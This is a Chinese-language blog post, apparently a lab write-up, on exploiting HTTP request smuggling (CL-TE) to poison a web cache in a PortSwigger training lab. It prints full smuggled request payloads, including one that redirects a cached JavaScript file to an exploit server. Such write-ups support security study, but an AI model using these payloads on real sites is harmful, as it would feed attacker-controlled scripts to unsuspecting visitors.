当前位置:网站首页>Http-Sumggling缓存漏洞分析
Http-Sumggling缓存漏洞分析
2022-08-05 10:52:00 【合天网安实验室】
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。
在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:
后端程序缓存
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器。
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。

什么是web缓存漏洞
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。
这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。

如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存攻击。
【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。
一般可分为以下几种:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在[email protected]知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。
解法
判断是否存在走私,确定为CL-TE。
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1第一次请求为:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
第二次请求为下半段:
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
可以看到存在302跳转。
然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。


可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。
先点击send post包
POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1访问到第一部分:

然后在
/resources/js/tracking.jssend包:
可以发现成功攻击,缓存键为
miss,那下一个包应该就可以成功转接到exploit上,我们试试。对原界面进行抓包,多抓几次。

发现host成功变为我们的exploit。
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。
更多靶场实验练习、网安学习资料,
边栏推荐
- lvgl 实现状态提示图标自动对齐补位显示
- 拓朴排序例题
- Header file search rules when compiling with GCC
- 反射修改jsessionid实现Session共享
- uniapp connect ibeacon
- Dynamics 365Online PDF导出及打印
- DocuWare平台——文档管理的内容服务和工作流自动化的平台详细介绍(下)
- 金融业“限薪令”出台/ 软银出售过半阿里持仓/ DeepMind新实验室成立... 今日更多新鲜事在此...
- SMB + SMB2: Accessing shares return an error after prolonged idle period
- FPGA: Basic Getting Started Button Controlling LED Lights
猜你喜欢

Google启动通用图像嵌入挑战赛

Introduction to SD NAND Flash!
![[Strong Net Cup 2022] WP-UM](/img/3d/caeab05ddca278af274dbf6e2f8ba1.png)
[Strong Net Cup 2022] WP-UM

张朝阳对话俞敏洪:一边是手推物理公式,一边是古诗信手拈来

脱光衣服待着就能减肥,当真有这好事?

API 网关简述

教你本地编译运行一个IDEA插件,在IDEA里聊天、下棋、斗地主!

sqlserver编写通用脚本实现获取一年前日期的方法

用KUSTO查询语句(KQL)在Azure Data Explorer Database上查询LOG实战

Ali's new launch: Microservices Assault Manual, all operations are written out in PDF
随机推荐
GCC编译的时候头文件搜索规则
FPGA: Basic Getting Started Button Controlling LED Lights
[Android]如何使用RecycleView in Kotlin project
大佬们 我是新手,我根据文档用flinksql 写个简单的用户访问量的count 但是执行一次就结束
第五章:多线程通信—wait和notify
教你本地编译运行一个IDEA插件,在IDEA里聊天、下棋、斗地主!
SQL Outer Join Intersection, Union, Difference Query
微服务结合领域驱动设计落地
Custom filters and interceptors implement ThreadLocal thread closure
Latex如何控制表格的宽度和高度
智能算力的枢纽如何构建?中国云都的淮海智算中心打了个样
PostgreSQL 2022 Report: Rising popularity, open source, reliability and scaling key
The fuse: OAuth 2.0 four authorized login methods must read
linux下oracle常见操作以及日常积累知识点(函数、定时任务)
#yyds干货盘点#【愚公系列】2022年08月 Go教学课程 001-Go语言前提简介
工程设备在线监测管理系统自动预警功能
SkiaSharp 之 WPF 自绘 投篮小游戏(案例版)
提取人脸特征的三种方法
This notebook of concurrent programming knowledge points strongly recommended by Ali will be a breakthrough for you to get an offer from a big factory
如何测试一下现场的备机失败,转发主机的场景?


https://www.hetianlab.com